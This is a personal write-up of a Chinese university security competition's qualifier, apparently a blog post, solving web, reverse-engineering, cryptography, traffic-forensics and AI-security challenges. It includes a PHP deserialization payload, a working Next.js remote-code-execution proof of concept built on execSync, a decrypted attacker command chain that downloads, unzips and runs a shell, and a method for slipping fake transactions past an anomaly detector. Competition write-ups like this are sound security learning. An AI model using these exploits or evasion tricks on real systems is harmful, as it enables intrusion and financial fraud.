Luoingly's Space

第十九届全国大学生信息安全竞赛暨第三届「长城杯」网数智安全大赛线上初赛个人题解

December 28, 2025

我记得我说过不打这比赛了来着……

[Web 安全] hellogate

很简单的反序列化,但是先塞个图片给我干啥呢。

class A { public $handle; }
class B { public $worker; public $cmd; }
class C { public $cmd; }

$c = new C();
$c->cmd = '/flag';
$b = new B();
$b->worker = $c;
$a = new A();
$a->handle = $b;

file_put_contents('payload.txt', serialize($a));
import requests

TARGET = "https://[REDACTED]/"

with open('payload.txt', 'rb') as f:
    payload = f.read()

body = {"data": payload}

response = requests.post(TARGET, data=body)
response.raise_for_status()

end_of_jpg = response.content.find(b"\xff\xd9") + 2
data = response.content[end_of_jpg:]

with open("response.html", "wb") as f:
    f.write(data)

print(data[data.rfind(b">")+1:].decode())

[Web 安全] redjs

Next.js 的 CVE。PoC 改自 lincemorado97/CVE-2025-55182_CVE-2025-66478

import requests
import json

BASE_URL = "https://[REDACTED]/"
EXECUTABLE = "cat /flag"
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}
files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}

res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.text)

[逆向工程] babygame

看图标得知是 Godot 写的,先用 GDRE Tools 拆一下 Script:

屏幕截图_2025-12-28_165004

除了这部分之外还有一个大坑:

屏幕截图_2025-12-28_165016

然后可以解密出 Flag:

from Crypto.Cipher import AES

key = "FanAglFanAglOoO!".replace("A", "B")
ciphertext_hex = "d458af702a680ae4d089ce32fc39945d"
aes = AES.new(key.encode(), AES.MODE_ECB)
ciphertext = bytes.fromhex(ciphertext_hex)
plaintext = aes.decrypt(ciphertext)

print(plaintext)
# b'wOW~youAregrEaT!'

[逆向工程] wasm-login

.wasm.map 没删,直接开浏览器把 TypeScript 代码扒下来。修改 authenticate 函数让 timestamp 为参数传入。

屏幕截图_2025-12-28_171107

屏幕截图_2025-12-28_171212

根据题目描述以及压缩包内文件的时间戳确定一个时间范围,然后爆破:

<script src="./build/crypto-js.js"></script>
<script type="module">
    import { authenticate } from "./build/debug.js";
    // const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
    // if (check.startsWith("ccaf33e3512e31f3")){
    //     resolve({ success: true });
    // }
    const start = new Date("2025-12-22T00:29:00+0800").getTime();
    const end = new Date("2025-12-22T01:06:10+0800").getTime();
    let i = start;
    
    while (i <= end) {
        if (i % 10000 === 0) console.log("Progress:", ((i - start) / (end - start) * 100).toFixed(2) + "%");
        const result = authenticate("admin", "admin", i.toString());
        const check = CryptoJS.MD5(JSON.stringify(JSON.parse(result))).toString(CryptoJS.enc.Hex);
        if (check.startsWith("ccaf33e3512e31f3")) {
            document.body.innerText = `Found! Timestamp: ${i}\nResult: ${check}`;
            console.log("Found!", i, result);
            break;
        }
        i++;
    }
</script>

屏幕截图_2025-12-28_171459

[密码学] ECDSA

不是很懂,附件里面直接给出私钥了,但是想了半天要怎么计算私钥的 MD5 值。在尝试了无数次 md5(bytes) / md5(hexstr) / md5(base64) / md5(0xhexstr) 之后,发现居然是对大整数的字符串形式取 MD5:

from hashlib import md5, sha512
from ecdsa import NIST521p

digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
priv_int = digest_int % NIST521p.order

print(md5(str(priv_int).encode()).hexdigest())
# 581bdf717b780c3cd8282e5a4d50f3a0

无言以对。

[密码学] EzFlag

丢进 IDA。Flag 是由一个长得像 RNG 的东西生成的:

屏幕截图_2025-12-28_165547

还有个表:

屏幕截图_2025-12-28_165606

不难猜测到这个东西是循环的,所以实际不用算那么多次:

def f(a1: int) -> int:
    a1 = a1
    v5 = 0
    v4 = 1
    for i in range(a1 % 24):
        v2 = v4
        v4 = (v5 + v4) & 0xF
        v5 = v2
    return "012ab9c3478d56ef"[v5]

for i in range(128):
    print(f(i), end='')
print()

v11 = 1
print("flag{", end='')
for i in range(32):
    print(f(v11), end='')
    if i == 7 or i == 12 or i == 17 or i == 22:
        print('-', end='')
    v11 *= 8
    v11 += i + 64
    v11 %= (1 << 64)
print('}')

# flag{10632674-1d219-09f29-14769-f60219a24}

[流量分析] SnakeBackdoor-1

直接找最后一个登录请求,Which 响应码是 302 也不是之前的 200,便有密码:

屏幕截图_2025-12-28_171913

[流量分析] SnakeBackdoor-2

直接搜 http contains "SECRET_KEY",找到请求:

屏幕截图_2025-12-28_172120

[流量分析] SnakeBackdoor-3

接着往后有一个特别大的 HTTP 请求包:

屏幕截图_2025-12-28_172316

扒下来追着分析:

屏幕截图_2025-12-28_172448

[流量分析] SnakeBackdoor-4

追着分析所有 urlencoded-form.key == "data" 流量:

屏幕截图_2025-12-28_172553

import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

def decrypt_command(enc_hex_cmd: str) -> str:
    enc_cmd = binascii.unhexlify(enc_hex_cmd)
    cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
    print(cmd)

decrypt_command('acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534')
decrypt_command('bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a')
decrypt_command('a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351')
decrypt_command('acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b')
decrypt_command('e0ac7e52fc996cc2038c2d7a3899ed')
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

答案是 python3.13

[AI 安全] The Silent Heist

既然没有限制我们可以提交的交易记录数量,考虑直接取一个正常交易记录,为它每个特征增加一个随机的微小扰动,从而生成新的交易记录。如此反复直到总流水达到要求:

from random import random

with open('public_ledger.csv', 'rt') as f:
    header = f.readline()
    sample = f.readline().strip()
features = [float(x) for x in sample.split(',')]

total = 0
while True:
    new_features = [f + (random() - 0.5) * 0.1 for f in features]
    total += new_features[0]
    print(",".join(str(x) for x in new_features))
    if total > 2e6 + 1e3:
        break
print("EOF")
$ python poc.py > data.txt 
$ nc [REDACTED] < data.txt 

[--- SECURE BANKING GATEWAY v4.0 ---]
Task: Transfer > $2,000,000.00
Security: IsolationForest (Strict Mode)
Constraints:
1. No Transaction can be classified as Anomaly (-1).
2. No Replay Attacks (Public data is blacklisted).
3. No Duplicate Transactions.
-------------------------------------
Waiting for CSV Data Stream (End with 'EOF')...
[-] Analyzing Statistical Distribution...
Report: Value=$2,000,608.11 | Anomalies=0/5064
[SUCCESS] Transaction Authorized.
Flag: "flag{[REDACTED]}"

Tags: #CTF #Writeup #CISCN #Web #Reverse #Crypto #Forensics

This article is authored by luoingly and licensed under CC BY-NC 4.0

Permalink: https://luoy.ing/posts/ciscn-s19-quals-writeup/